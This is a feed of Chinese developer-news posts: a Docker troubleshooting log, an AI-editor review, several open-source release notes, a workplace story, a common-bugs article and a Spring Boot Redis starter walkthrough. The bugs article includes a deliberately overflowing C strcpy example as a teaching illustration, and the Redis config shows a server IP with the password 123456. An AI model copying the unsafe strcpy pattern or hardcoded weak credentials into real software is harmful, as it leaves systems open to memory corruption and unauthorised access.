  regenerate-certs      Regenerate TLS Certificates for a machine
  restart               Restart a machine
  rm                    Remove a machine
  ssh                   Log into or run a command on a machine with SSH.
  scp                   Copy files between machines
  mount                 Mount or unmount a directory from a machine with SSHFS.
  start                 Start a machine
  status                Get the status of a machine
  stop                  Stop a machine
  upgrade               Upgrade a machine to the latest version of Docker
  url                   Get the URL of a machine
  version               Show the Docker Machine version or a machine docker version
  help                  Shows a list of commands or help for one command

如果没有docker-machine请安装

如果遇到找不到C:\Users\Administrator\.docker\machine\certs\ca.pem

请执行以下命令docker-machine --debug regenerate-certs -f default

PS C:\Program Files\Docker\Docker> docker-machine --debug regenerate-certs -f default
Docker Machine Version:  0.14.0, build 89b8332
Regenerating TLS certificates
Docker machine "default" does not exist. Use "docker-machine ls" to list machines. Use "docker-machine create" to add a new one.

如果连default都不存在请执行

PS C:\Program Files\Docker\Docker> docker-machine ls
NAME   ACTIVE   DRIVER   STATE   URL   SWARM   DOCKER   ERRORS

PS C:\Program Files\Docker\Docker> docker-machine create default --virtualbox-no-vtx-check
Running pre-create checks...
(default) Image cache directory does not exist, creating it at C:\Users\Administrator\.docker\machine\cache...
(default) No default Boot2Docker ISO found locally, downloading the latest release...
(default) Latest release for github.com/boot2docker/boot2docker is v19.03.12
(default) Downloading C:\Users\Administrator\.docker\machine\cache\boot2docker.iso from https://github.com/boot2docker/boot2docker/releases/download/v19.03.12/boot2docker.iso..

这里如果boot2docker.iso迟迟下载不了

请使用梯子和迅雷等快速下载后,放入C:\Users\Administrator\.docker\machine\cache目录

然后再执行docker-machine create default --virtualbox-no-vtx-check

出现下面内容

PS C:\Program Files\Docker\Docker> docker-machine create default --virtualbox-no-vtx-check
Running pre-create checks...
(default) No default Boot2Docker ISO found locally, downloading the latest release...
(default) Latest release for github.com/boot2docker/boot2docker is v19.03.12
(default) Downloading C:\Users\Administrator\.docker\machine\cache\boot2docker.iso from https://github.com/boot2docker/boot2docker/releases/download/v19.03.12/boot2docker.iso...
Error with pre-create check: "Get https://github.com/boot2docker/boot2docker/releases/download/v19.03.12/boot2docker.iso: dial tcp 20.205.243.166:443: connectex: A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond."
PS C:\Program Files\Docker\Docker> docker-machine create default --virtualbox-no-vtx-check
Running pre-create checks...
(default) Unable to get the latest Boot2Docker ISO release version:  Get https://api.github.com/repos/boot2docker/boot2docker/releases/latest: dial tcp 20.205.243.168:443: connectex: A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.
Creating machine...
(default) Copying C:\Users\Administrator\.docker\machine\cache\boot2docker.iso to C:\Users\Administrator\.docker\machine\machines\default\boot2docker.iso...
(default) Creating VirtualBox VM...
(default) Creating SSH key...
(default) Starting the VM...
(default) Check network to re-create if needed...
(default) Windows might ask for the permission to configure a dhcp server. Sometimes, such confirmation window is minimized in the taskbar.
(default) Waiting for an IP...



//第一步
docker-machine --debug regenerate-certs -f default
//第二步
docker-machine --debug env default
//第三步
docker-machine start
//第四步
docker-machine -D ssh default

然后再执行docker-machine --debug regenerate-certs -f default创建证书

创建成功后,在电脑环境变量添加

然而,这并没有什么卵用!直接跳过行不行?

还是无法拉取镜像

实在是没法了,研究了一下WSL

在win10上安装了ubuntu

默认都是stoped

通过wsl -d Ubunut-xxx 进入ubuntu,就会自动启动为running

然后在docker desktop 勾选Use the WSL 2 based engine,wsl 后两项也会running

然后直接进入ubuntu,登录阿里云镜像仓库,拉取自己上传的镜像

拉取成功后

docker desktop 就有对应的镜像了

重新tag一下阿里云的镜像,然后就可以通过JetBrain的工具直接启动容器了

到此,总算把windows10这个docker desktop的怪问题跳过了

by Forpastime at January 27, 2025 03:59 AM

juejin freebie

Trae:不敲一行代码实现完整小程序/小游戏/官网 !!!

我正在参加Trae「超级体验官」创意实践征文,  本文所使用的 Trae 免费下载链接:  www.trae.ai/?utm_source…

年前最后一周趁着有空试验了下字节最新编辑器 Trae,我是被其不用翻墙使用 openAl 和支中文吸引进来,不得不说这对于英文不友好的我来说是一个非常好的消息,我曾试验过很多的 vscode 辅助 Al 插件,也使用过 windsurf,就使用下来的心得而言,Trae 确实是国产区相当强大的力量,当然也有一些不足,下面我会详细的指出这些方面。
首先需要声明,我在实验 Trae 的过程中没有手动敲过一行代码,最主要的工作量其实就是「正确」的表达诉求,以及贴上对应片段告诉编辑器有哪些报错,我需要怎样优化。我最开始完成的是一个紫薇斗数排盘的小程序,在 Trae中有两种辅助流程:

image.png

一种是 chat,即对话模式,我们可以一点点的完整构建整个应用,并且在这种模式中,我们的代码更迭,编辑器会给出修改意见,我们可以进行 code review,选择应用或者放弃,类似 git merge。而 Beta 版本的 Builder,可以帮我从有到无实现一个完整的功能,不过实测下来会有很多缺陷,比如对于已有功能的忽略,若对于代码不太了解,会导致后续可生成有很多重复代码功能,就此而言,我建议不论是 chat 和 builder 模式,我们在每一次 bugfix或者要修改对应功能时,我们都要使用 #引用# 功能,给它限定一个范围,我遇到过很多次没有限定范围,它不会考虑现有代码而是直接生成重复的功能代码导致 bug而并没有解决问题,在 chat 模式我们可能会仔细的对比,但是在build 模式下我们可能会不语,只是一味应用... ,导致现有的成功功能被破坏,又要重新修复和沟通功能,会对精力和时间有一点小小的考验(抓狂~)。

好了接下来我会给大家展示我这周实验的几个小 demo,首先是一个小程序:

image.png

image.png

image.png

image.png

我将主要的功能模块全部贴了出来,只是想为大家展示一下,Trae到底能做到什么。这个小程序大概花费了2-3天的时间,最主要的时间还是花在一个排盘的算法上,就界面的实现和整体业务流转,一天基本就可以完成,当然这个需要加上过程中的磨合和 bugfix是,首先 Trae 对于 bug 的处理就目前而言我的体验是非常准确和到位的,它的主要缺陷我理解还是对于大的模块把握不精准,比如在实现中多次为我生成重复的功能模块和代码,导致后续要花费精力去区分和梳理,这也是我为什么建议每次都要加上 #引用# 的原因。

然后就是经典的小游戏,坦克大战,这次我用到了 builder,和它沟通我想要实现一个经典的坦克大战小游戏,很快的,就帮我实现了一个初版,但是也不出意料的,只有一个敌方和我方,简陋的没眼看...之后我想了想小时候玩过的坦克大战,还有哪些元素和玩法,一点点的喂给 Trae 听,很开心,它听懂了,虽然页面还是有些简陋,但是我想要的功能和玩法上已经足够完备。

image.png

Ps: 实现这个貌似花了不到 1h,所以对于功能性代码和逻辑而言,Trae会实现的更精准一些。

最后我想要看看 Trae 的审美能力,说白了就是对于 ui 的审美,我让它帮我实现一个陆地飞行器的官网,设计参考小米 su7 和 小鹏飞天的官网设计。

image.png

我没想到这个官网是这几个项目中最让我头疼的,其实就是目前 Trae 对于逻辑性功能而言,实现的会更加精准,对于css审美而言,需要我们更加精准的去调教,它自身是逻辑性更强而艺术性稍差,尤其对于一些排版布局,需要我们更加精准的去提出诉求,然后慢慢的调试,对于完全不懂代码的同学来说,我建议是直接喂图,然后抽奖生成。由于我没有 ui,所以更多的是口述,我对于最终的实现效果也很满意,不过其中 切换 tab页面滚动到对应的高度-页面滚动到对应的区域切换tab 这个联动效果还是调试了两天时间,因为还需要前置调试 css定位问题,在 js生成的功能而言是可以实现的,但是对于整体 css 的修改,对于 Trae来说会比较抽象吧。

好了这就是这周我的 Trae使用心得,整体感受下来,我是非常开心字节能够推出我们国人好用的编辑器工具,同时也为Al的能力第一次感到震撼,刚好昨天刷到了一篇推文,我开始会对未来的社会感到一丝‘恐惧’和期待。

image.png

未来已经来了,不是么。

by aile159951 at January 27, 2025 03:43 AM

oschina news project

国产数据库管理工具 CloudDM v2.1.0.0 发布,支持 MariaDB 数据源

CloudDM 是 ClouGence 公司推出的面向团队使用的数据库管理工具,支持云上、云下、多云多环境,并且支持多达 15 种数据源。

更新内容

[新增]

  • [新增] MariaDB 数据源支持。

  • [新增] MariaDB 数据源对 53 个 SQL 审核规则的支持。

  • [新增] MariaDB 数据源对 5 个数据脱敏规则的支持。

下载与反馈

by 来源: 投稿 at January 27, 2025 03:07 AM

🔥MakuBoot 4.7.1 发布,最强代码生成器和零代码能力

介绍

  • maku-boot 是采用 SpringBoot3.4、SpringSecurity6.4、Mybatis-Plus、Flowable7.0、Vue3、Element-plus 等技术开发的低代码开发平台,旨在为开发者提供一个简洁、高效、可扩展的低代码开发平台。
  • 使用门槛极低,支持国密加密、达梦数据库等,符合信创需求的低代码开发平台。
  • 采用组件模式,扩展不同的业务功能,可以很方便的实现各种业务需求,且不会导致系统臃肿,若想使用某个组件,按需引入即可,反之亦然。

  • 支持 Online 在线表单开发,支持单表、树表、一对一、一对多表单,可快速开发业务,无需部署及重启服务等

  • 支持 Online 在线报表开发,可通过编写 SQL,生成在线报表,还可导出报表。

  • 支持多种数据库,包括 MySQL、PostgreSQL、达梦等,可灵活切换。

  • 支持 Flowable7 工作流,包括流程设计、自定义表单、在线 Online 表单、会签、或签等。

  • 支持多种登录方式,包括账号密码、短信验证码、企业微信、钉钉、飞书、微信等,可灵活选择。

  • 支持多租户模式,可实现不同业务系统之间的隔离,能同时支持字段隔离、数据源隔离方式,满足对多租户的全部需求。

  • 支持微信小程序端,采用微信原生小程序开发,使用门槛极低!
  • 演示环境:https://demo.maku.net

  • 企业版:https://maku.net/price

更新日志

  • 开源协议变更为 Apache2.0,满足个人和企业项目开发的需求
  • 优化用户缓存逻辑,修改用户信息后,更新缓存数据
  • 优化超级管理员权限,未配置菜单权限,也拥有接口访问权限
  • 解决js精度丢失问题,超过JS最大精度,使用String类型
  • 解决knife4j不支持 SpringBoot3.4 问题
  • 修改accessToken默认过期时间为8小时
  • 升级 SpringBoot 到 3.4.1

开源汇总

架构图

by 来源: 投稿 at January 27, 2025 03:00 AM

juejin article

那个月薪5w的安卓被00后干掉了

所谓的00后整顿职场,有时候就是个笑话。

你知道老A工资多少吗?

这是隔壁组后辈小B一次饭后问我的问题,我当然不知道啊,他说:5w。

我回想了下,大厂背景,工作快10年,而且合作过的几次,虽然老A说话啰嗦了点,但是事做的没毛病,也比较尽职尽责,凭借老道的经验这个数字也不算夸张。

紧接着小B就开始倒苦水:自己怎么怎么辛勤工作,也是大厂背景,不就毕业时间短了点,怎么工资差这么多。而且怎么人家在杭州有车有房,自己一毕业房价就高的一逼,就这工资,根本买不起。

心里不平衡

懂了,心里不平衡嘛,年轻人,也能理解,安慰两句,这事也就罢了。

这方案太屎了

自此之后,不论老A做任何事情,提任何方案,都必然会得到小B的质疑:

技术选型太落后,写的这个架构存在漏洞,要的排期太久。

久而久之,老A在大家的心里,都是一个:典型的老白兔形象。

只有为数不多和老A合作过的,才知道他也不过就是一个尽职尽责的技术人,架构存在漏洞没错,但是把架构搭起来,线上稳定运行,一些漏洞,边做边修也蛮正常的,所谓先上线,再优化,这很互联网。

奈何老A本身在说话上,也实属一般,慢慢的,一个小错,也会被放大无数倍,更加印证了小B的说法。

老A消失了

在一个明媚的早晨,早会老A不在了,工位上的东西也突然就空了。

我经过老A工位的时候,恰好一束阳光洒在老A工位上,空气中的一粒粒灰尘,此刻特别刺眼,就好像在下雪。

雪崩的时候,没有一片雪花是无辜的,这次,好像我就是这片雪花?

后来只听说,早上好像有人瞄到一眼老A,神色清冷,但是眼睛又略显锋锐。

也对,大奉不值得,此处不留爷,自有留爷处。

大奉不值得

毕竟,有房有车有存款,没办法,这个时代,人就是赶上了。

小B怎么样了

棋子永远不知道自己是棋子,棋子以为的为梦想而奋斗,为公司除白兔,不过是对局者想让棋子这么想罢了。

棋子

嫉妒,不公,都有情可原。

但是把这嫉妒转为对他人的伤害,可能这就是人性吧。

狼多肉少,互害在未来,可能也只是常态。

只能说,职场上:

防人之心不可无,防人之心不可无,防人之心不可无。

对了,听说老A又找到新工作了,涨幅好像还不小。

注:本文纯属虚构,如有雷同,纯属巧合。

by 程序员芋仔 at January 27, 2025 02:48 AM

juejin career

编程语言中的常见Bug及解决方案

        在编程过程中,不同语言有其独特的特性和挑战,这也导致了各种常见Bug的出现。本文将总结几种主流编程语言中的常见Bug,包括JavaScript、Python、C/C++、Java和Go,并提供相应的解决方案和案例。


一、JavaScript中小数相加精度不准确的Bug

在JavaScript中,进行小数相加时,由于浮点数的精度问题,可能会导致结果不准确。例如:

let add1 = 0.1 + 0.2;
console.log(add1); // 输出: 0.30000000000000004

解决方案

使用toFixed()方法保留小数点后几位。

let add1 = 0.1 + 0.2;
console.log(add1.toFixed(1)); // 输出: 0.3

二、整数除法向下取整的陷阱(Python 2)

在Python 2中,使用//运算符进行整数除法时,结果会向下取整。例如:

result = 3 // 2
print(result)  # 输出: 1

解决方案

使用浮点数除法/来获取精确结果。

result = 3 / 2.0
print(result)  # 输出: 1.5

注意:Python 3中,/运算符默认进行浮点数除法,//运算符进行整数除法。

三、C/C++中内存管理与缓冲区溢出

在C/C++中,内存管理和缓冲区溢出是常见的安全问题。例如,使用strcpy函数时,如果目标缓冲区大小不足,可能会导致缓冲区溢出。

#include <stdio.h>
#include <string.h>

void buffer_overflow() {
    char buffer[10];
    strcpy(buffer, "This is a very long string that will overflow the buffer");
    printf("%s\n", buffer);
}

int main() {
    buffer_overflow();
    return 0;
}

解决方案

  1. 使用安全的字符串操作函数,如snprintf,
#include <stdio.h>

void safe_copy() {
    char buffer[10];
    snprintf(buffer, sizeof(buffer), "This is a test");
    printf("%s\n", buffer);
}

int main() {
    safe_copy();
    return 0;
}

2. 进行边界检查,确保数据长度不超过缓冲区大小。

四、Java中的空指针异常(NullPointerException)

在Java中,当尝试访问或操作一个空对象时,会抛出空指针异常。例如:

String str = null;
System.out.println(str.length());  // 抛出NullPointerException

解决方案

  1. 在使用对象前进行非空判断。
String str = null;
if (str != null) {
    System.out.println(str.length());
} else {
    System.out.println("字符串为空");
}

2. 使用Optional类来避免空指针异常(Java 8及以上版本)。

import java.util.Optional;

public class Main {
    public static void main(String[] args) {
        Optional<String> strOpt = Optional.ofNullable("Hello");
        strOpt.ifPresent(str -> System.out.println(str.length()));
    }
}

五、Go中的并发编程中的竞态条件

在Go中,由于goroutine的并发执行,可能会出现竞态条件(Race Condition),导致数据不一致或程序崩溃。例如:

package main

import (
    "fmt"
    "time"
)

func main() {
    var count int

    for i := 0; i < 1000; i++ {
        go func() {
            count++
        }()
    }

    time.Sleep(time.Second)
    fmt.Println(count)
}

解决方案

  1. 使用互斥锁(Mutex)来保护共享资源。
package main

import (
    "fmt"
    "sync"
    "time"
)

func main() {
    var count int
    var mutex sync.Mutex

    for i := 0; i < 1000; i++ {
        go func() {
            mutex.Lock()
            defer mutex.Unlock()
            count++
        }()
    }

    time.Sleep(time.Second)
    fmt.Println(count)
}

2. 使用原子操作(Atomic Operations)来确保数据一致性(对于基本数据类型)。

package main

import (
    "fmt"
    "sync/atomic"
    "time"
)

func main() {
    var count int32

    for i := 0; i < 1000; i++ {
        go func() {
            atomic.AddInt32(&count, 1)
        }()
    }

    time.Sleep(time.Second)
    fmt.Println(count)
}

总结

不同编程语言有其独特的特性和挑战,了解并熟悉常见Bug及其解决方案对于提高编程质量和效率至关重要。在编程过程中,应始终保持谨慎和细心,充分利用语言的特性和工具来避免和修复Bug。

各位大佬还知道哪些语言的“BUG”呢?欢迎评论区留言一起讨论。

by 李游Leo at January 27, 2025 02:40 AM

oschina news project

Python ORM Bee V1.5.2 上传 Python 中央仓库 PYPI

Pythone ORM Bee 是基于 Python 的 ORM 工具;让你使用 Python 开发数据库应用更简单!

pip install ormbee 简单命令即可安装

 

https://pypi.org/project/ormbee/

简单易用的ORM,开发数据库很快

主要功能

V1.5.2

基础功能稳定版

 

往期回顾:

V1.0 发布

V1.1 发布

V1.3发布

 

安装依赖包

在命令行输入以下命令:

pip install ormbee

 

快速开始:

1. 配置db连接信息

1.1.can custom your db Module

in bee.json or bee.properties set dbModuleName

1.2.if do not want to use the default config file(bee.json or bee.properties),

can set the db_config info yourself.

        # #mysql
        config = {  
            'dbName':'MySQL',
            'host': 'localhost',  # 数据库主机  
            'user': 'root',  # 替换为您的 MySQL 用户名  
            'password': '',  # 替换为您的 MySQL 密码  
            'database': 'bee',  # 替换为您的数据库名称  
            'port':3306
        }
        
        honeyConfig= HoneyConfig()
        honeyConfig.set_db_config_dict(config)

 

1.3.set connection directly:

        config = {  
            # 'dbName':'MySQL',
            'host': 'localhost',  # 数据库主机  
            'user': 'root',  # 替换为您的 MySQL 用户名  
            'password': '',  # 替换为您的 MySQL 密码  
            'database': 'bee',  # 替换为您的数据库名称  
            'port':3306
        }
        
        honeyConfig= HoneyConfig()
        honeyConfig.set_dbName("MySQL")
        
        conn = pymysql.connect(**config)
        factory=BeeFactory()
        factory.setConnection(conn)

 

2. 使用Bee操作数据库


class Orders:
    id = None  
    name = None 
    remark = None

    #can ignore
    def __repr__(self):  
        return  str(self.__dict__)
        
class Student2:
    id = None
    name = None 
    age = None  
    remark = None
    addr = None

    def __repr__(self): 
        return  str(self.__dict__)
        
        
from bee.api import Suid
from bee.config import PreConfig

if __name__=="__main__":
    
    #set bee.properties/bee.json config folder, can set project root for it
    PreConfig.config_folder_root_path="E:\\Bee-Project"
    
    # select record
    suid=Suid()
    orderList=suid.select(Orders()) #select all
    
    #insert    
    orders=Orders()
    orders.id=1
    orders.name="bee"
    orders.remark="test"
    
    suid=Suid()
    suid.insert(orders)
    
    #update/delete
    orders=Orders()
    orders.name="bee130"
    orders.ext="aaa"  #实体没有字段,会被忽略。出去安全考虑
    orders.id=1
    
    suid = Suid()
    n1= suid.update(orders)
    n2= suid.delete(orders)
    print(n1)
    print(n2)
    
    #batch insert
    student0=Student2()
    student0.name = "bee"
    student1=Student2()
    student1.name = "bee1"
    student1.addr=""
    student1.age=40
    entity_list=[]
    entity_list.append(student0)
    entity_list.append(student1)
    
    suidRich = SuidRich()
    insertNum = suidRich.insert_batch(entity_list)
    print(insertNum)

 

其它功能:

bee.api.py 为主要的接口

Suid : 简单易用的Select, Update, Insert, Delete的接口;

SuidRich: 功能丰富的Suid接口,有分页,批量插入等;

PreparedSql: 自定义sql, 可以让写自己书写性能高效的sql语句,接口封装更好用.

 

诚邀您的加入!

如果您还想添加什么功能,请到评论区告诉我们(技术交流群:479080944)。

项目首页:https://gitee.com/automvc/BeePy/

https://github.com/automvc/BeePy/

 

by 来源: 投稿 at January 27, 2025 02:39 AM

Python ORM Bee V1.3 发布

Pythone ORM Bee是基于 Python 的 ORM 工具;让你使用 Python 开发数据库应用更简单!

主要功能

V1.3

  1. is_sql_key_word_upper放配置
  2. 打印日志级别字符
  3. 完善日志输出
  4. 增加PreConfig,可以指定配置文件的位置
  5. 完善异常
  6. selectFirst

 

往期回顾:

V1.0 发布

V1.1发布

 

快速开始:

if __name__ == '__main__':
    #select record
    suid=Suid()
    orderList=suid.select(Orders()) #select all
    
    #insert    
    orders=Orders()
    orders.id=104
    orders.name="bee"
    orders.remark="test"
    
    suid=Suid()
    suid.insert(orders)
    
    #update/delete
    orders=Orders3()
    orders.name="bee130"
    orders.ext="aaa"  #实体没有字段,会被忽略。出去安全考虑
    orders.id=10002
    
    suid = Suid()
    n1= suid.update(orders)
    n2= suid.delete(orders)
    print(n1)
    print(n2)

待开发功能计划列表:

2.SQL 关键字,支持大小写; 可通过配置确定;(完成)
3. 批量插入; (完成)
4.order by
5.group by
6.createTable
7.index/unique
8.selectById
9.deleteById
10.List<String[]> selectString(T entity)
11.count
12.save
13.exist
14.selectFirst (完成)
15. 复杂 where 条件支持;添加 Condition 参数
16. 支持直接返回 Json 格式查询结果;
17. 多个 ORM 操作使用同一连接
18. 处理查询的 ResultSet 结果;
19. 转换 PreparedStatement 参数的类型
20. 注册器、
21. 拦截器、
22. 自定义 SQL 支持
23. 缓存支持
24. 全局唯一
25. 自动生成 bean

诚邀您的加入!

如果您还想添加什么功能,请到评论区告诉我们。

项目首页:https://gitee.com/automvc/BeePy/

https://github.com/automvc/BeePy/

 

by 来源: 投稿 at January 27, 2025 02:13 AM

juejin career

Spring Boot:通过spring-boot-starter-data-redis源码了解starter和autoconfigure模块

注:本文Spring Boot为2.X版本 在Spring Boot中,官方提供了spring-boot-autoconfigure包和starter包用来帮助我们简化配置,比如之前要建一个Spring mvc项目,需要我们配置web.xml,dispatcherservlet-servlet.xml,applicationContext.xml等等。而在Spring Boot中只需要在pom中引入

   <dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-web</artifactId>
   </dependency>

就能完成之前所有的工作了。简直so easy啊。 但是只会用是不行的,还要知其所以然,本文以官方的starter:spring-boot-starter-data-redis为例,从源码层面上分析整个自动化配置的过程。以期对starter和autoconfigure这两个Spring Boot的核心模块进行梳理。 了解原理后,我会通过模拟spring-boot-starter-data-redis,并使用Jedis来创建一个处理redis的自定义starter:my-redis-starter。源码下载 点我,最后会详细说明自定义starter的创建过程。

在Spring Boot中使用默认的redis客户端只需要 在pom.xml中引入

 <dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-data-redis</artifactId>
</dependency>

然后在application.properties中配置ip,密码等必要参数

spring.redis.host=106.15.108.50
# Redis服务器连接端口
spring.redis.port=6379
# Redis服务器连接密码(默认为空)
spring.redis.password=123456
#等等

就可以直接在我们的业务中调用org.springframework.data.redis.core.RedisTemplate来处理缓存的相关操作了。

一.RedisTemplate的注入

让我们先来看下RedisTemplate是如何被注入的。

1.RedisProperties

application.properties中ctrl+左击redis的相关配置项,会打开spring-boot-autoconfigure\2.0.2.RELEASE\spring-boot-autoconfigure-2.0.2.RELEASE.jar中的RedisProperties在这里插入图片描述 打开org.springframework.boot.autoconfigure.data.redis.RedisProperties.class

@ConfigurationProperties(prefix = "spring.redis")
public class RedisProperties {

/**
 * Database index used by the connection factory.
 */
private int database = 0;

/**
 * Connection URL. Overrides host, port, and password. User is ignored. Example:
 * redis://user:password@example.com:6379
 */
private String url;

/**
 * Redis server host.
 */
private String host = "localhost";

/**
 * Login password of the redis server.
 */
private String password;

/**
 * Redis server port.
 */
private int port = 6379;

/**
 * Whether to enable SSL support.
 */
private boolean ssl;

/**
 * Connection timeout.
 */
private Duration timeout;

private Sentinel sentinel;

private Cluster cluster;

private final Jedis jedis = new Jedis();

private final Lettuce lettuce = new Lettuce();
......
}

(1) @ConfigurationProperties(prefix = "spring.redis") 设置绑定属性的前缀,然后看下前面的一些属性,是不是很眼熟?前缀+属性名就是之前在application.properties中配置的,如果我们没有配置端口这种属性,那么这里也会提供部分默认配置。 当然,只是这些是没办法让Spring Boot在启动时扫描到该类的,所以需要下一个类org.springframework.boot.autoconfigure.data.redis.RedisAutoConfiguration.class。 然后我们还能找到

private final Jedis jedis = new Jedis();
private final Lettuce lettuce = new Lettuce();

一般用Java操作redis用的较多几个Java客户端为Jedis,Redisson,Lettuce。这里可知官方提供的spring-boot-starter-data-redis底层是用Jedis/Lettuce实现的,知道了这个我们也能够借鉴这个starter来使用其他的客户端来实现了。

2.RedisAutoConfiguration

打开org.springframework.boot.autoconfigure.data.redis.RedisAutoConfiguration.class

@Configuration
@ConditionalOnClass(RedisOperations.class)
@EnableConfigurationProperties(RedisProperties.class)
@Import({ LettuceConnectionConfiguration.class, JedisConnectionConfiguration.class })
public class RedisAutoConfiguration {

@Bean
@ConditionalOnMissingBean(name = "redisTemplate")
public RedisTemplate<Object, Object> redisTemplate(
RedisConnectionFactory redisConnectionFactory) throws UnknownHostException {
RedisTemplate<Object, Object> template = new RedisTemplate<>();
template.setConnectionFactory(redisConnectionFactory);
return template;
}

@Bean
@ConditionalOnMissingBean
public StringRedisTemplate stringRedisTemplate(
RedisConnectionFactory redisConnectionFactory) throws UnknownHostException {
StringRedisTemplate template = new StringRedisTemplate();
template.setConnectionFactory(redisConnectionFactory);
return template;
}
}

(1)@Configuration常见的配置注解,内部含有一个以上的@Bean,让Spring能扫描到内部的@Bean,当然在Spring Boot中,默认只会扫描到启动类所在包或其下级包的类,所以还会通过其他的设置来让这个类被扫描到,这个后面会详细说明。

@Configuration用于定义配置类,可替换xml配置文件,被注解的类内部包含有一个或多个被@Bean注解的方法,这些方法将会被AnnotationConfigApplicationContext或AnnotationConfigWebApplicationContext类进行扫描,并用于构建bean定义,初始化Spring容器。

(2)@ConditionalOnClass(RedisOperations.class),当存在RedisOperations类时才会进行扫描,这个类什么时候被引入classpath的之后会提到。 (3)@EnableConfigurationProperties(RedisProperties.class)RedisProperties 类被扫描到的关键。这时,如果RedisAutoConfiguration被扫描到,则同时也会去扫描RedisProperties类。 (4)@Import({ LettuceConnectionConfiguration.class, JedisConnectionConfiguration.class })通过@Import注解方式生成类实例并注入Spring容器。

@Import注解通过导入的方式实现把实例加入springIOC容器中

让我们打开JedisConnectionConfiguration简要看下

@Configuration
@ConditionalOnClass({ GenericObjectPool.class, JedisConnection.class, Jedis.class })
class JedisConnectionConfiguration extends RedisConnectionConfiguration {
private final RedisProperties properties;
private final List<JedisClientConfigurationBuilderCustomizer> builderCustomizers;
JedisConnectionConfiguration(RedisProperties properties,
ObjectProvider<RedisSentinelConfiguration> sentinelConfiguration,
ObjectProvider<RedisClusterConfiguration> clusterConfiguration,
ObjectProvider<List<JedisClientConfigurationBuilderCustomizer>> builderCustomizers) {
super(properties, sentinelConfiguration, clusterConfiguration);
this.properties = properties;
this.builderCustomizers = builderCustomizers
.getIfAvailable(Collections::emptyList);
}
@Bean
@ConditionalOnMissingBean(RedisConnectionFactory.class)
public JedisConnectionFactory redisConnectionFactory() throws UnknownHostException {
return createJedisConnectionFactory();
}
......
}
  • @Import注解会通过JedisConnectionConfiguration构造方法将JedisConnectionConfiguration的实例注入到Spring容器中,这里有一个RedisProperties参数,实际上就是在(3)中注入的RedisProperties,这样JedisConnectionConfiguration就获得了RedisProperties,也就获得了之前我们在application.propertie中配置的redis服务器连接属性。
  • 通过@Configuration@Bean的定义可知,会扫描到redisConnectionFactory()方法并返回实体,并注入到Spring容器,对应的类为RedisConnectionFactory。(JedisConnectionConfiguration实现了RedisConnectionFactory接口,所以可以这样)
    @Bean
    @ConditionalOnMissingBean(RedisConnectionFactory.class)
    public JedisConnectionFactory redisConnectionFactory() throws UnknownHostException {
    return createJedisConnectionFactory();
    }
    
    private JedisConnectionFactory createJedisConnectionFactory() {
    JedisClientConfiguration clientConfiguration = getJedisClientConfiguration();
    if (getSentinelConfig() != null) {
    return new JedisConnectionFactory(getSentinelConfig(), clientConfiguration);
    }
    if (getClusterConfiguration() != null) {
    return new JedisConnectionFactory(getClusterConfiguration(),
    clientConfiguration);
    }
    return new JedisConnectionFactory(getStandaloneConfig(), clientConfiguration);
    }
    private JedisClientConfiguration getJedisClientConfiguration() {
    JedisClientConfigurationBuilder builder = applyProperties(
    JedisClientConfiguration.builder());
    RedisProperties.Pool pool = this.properties.getJedis().getPool();
    if (pool != null) {
    applyPooling(pool, builder);
    }
    if (StringUtils.hasText(this.properties.getUrl())) {
    customizeConfigurationFromUrl(builder);
    }
    customize(builder);
    return builder.build();
    }
    
    getJedisClientConfiguration()方法,该方法从之前注入的RedisProperties中获取了Jedis客户端连接池。 ②createJedisConnectionFactory会根据配置的redis参数判断用单机/哨兵/集群模式来创建JedisConnectionFactory实例。

总结:创建并注入了JedisConnectionFactory实例,JedisConnectionFactory实例中包含有Jedis的客户端连接池,之后就能用其创建连接了。

(5)redisTemplate方法

@Bean
@ConditionalOnMissingBean(name = "redisTemplate")
public RedisTemplate<Object, Object> redisTemplate(
RedisConnectionFactory redisConnectionFactory) throws UnknownHostException {
RedisTemplate<Object, Object> template = new RedisTemplate<>();
template.setConnectionFactory(redisConnectionFactory);
return template;
}

终于找到注入redisTemplate的地方了= =。

  • 这是个被@Bean注解的方法,因此会被Spring扫描并注入。
  • @ConditionalOnMissingBean(name = "redisTemplate")当Spring容器中不存在RedisTemplate实例时才会进行扫描注入,很明显是为了防止重复注入。
  • 该方法有一个RedisConnectionFactory参数。 而我们知道(4)中redisConnectionFactory方法最后会注入一个JedisConnectionFactory实例,而JedisConnectionFactory又是继承于RedisConnectionFactory。同志们,你们懂我的意思了吧∠( ᐛ 」∠)_。

总结:该方法会将先前注入的redisConnectionFactory赋给新建的redisTemplate实例, 然后将redisTemplate实例注入Spring容器。

但是这里出现一个问题了 开始时通过@Import({ LettuceConnectionConfiguration.class, JedisConnectionConfiguration.class })注入了Lettuce和Jedis两个连接配置实例, 而这两个中又都已@Bean的形式注入了JedisConnectionFactoryLettuceConnectionFactory两个实例(这两个实例的类又都是继承于 RedisConnectionFactory的),并且注入时都是对应RedisConnectionFactory类的。那么redisTemplate方法最后是使用哪个实例来创建RedisTemplate的呢? 在这里插入图片描述 通过debug我们知道实际用的是LettuceConnectionFactory实例。 这么看是按照@Import中的排序来的, 这里LettuceConnectionConfiguration在前,所以会先扫描LettuceConnectionConfiguration。相关代码

@Bean
@ConditionalOnMissingBean(RedisConnectionFactory.class)
public LettuceConnectionFactory redisConnectionFactory(
ClientResources clientResources) throws UnknownHostException {
LettuceClientConfiguration clientConfig = getLettuceClientConfiguration(
clientResources, this.properties.getLettuce().getPool());
return createLettuceConnectionFactory(clientConfig);
}

LettuceConnectionConfiguration中会创建LettuceConnectionFactory实例,并将其注入为redisConnectionFactory类的实例, 然后在JedisConnectionConfiguration中的类似代码:

@Bean
@ConditionalOnMissingBean(RedisConnectionFactory.class)
public JedisConnectionFactory redisConnectionFactory() throws UnknownHostException {
return createJedisConnectionFactory();
}

也会创建一个JedisConnectionFactory 实例,并将其注入为redisConnectionFactory类的实例。 双方都有@ConditionalOnMissingBean(RedisConnectionFactory.class)约束,所以当LettuceConnectionConfigurationRedisConnectionFactory类被注入了对应的实例后,JedisConnectionConfiguration对应的代码就不会再执行了,所以最后RedisConnectionFactory类的实例实际上是LettuceConnectionFactory。 只要把@Import中的顺序换一下就能改变RedisConnectionFactory类的实例了。

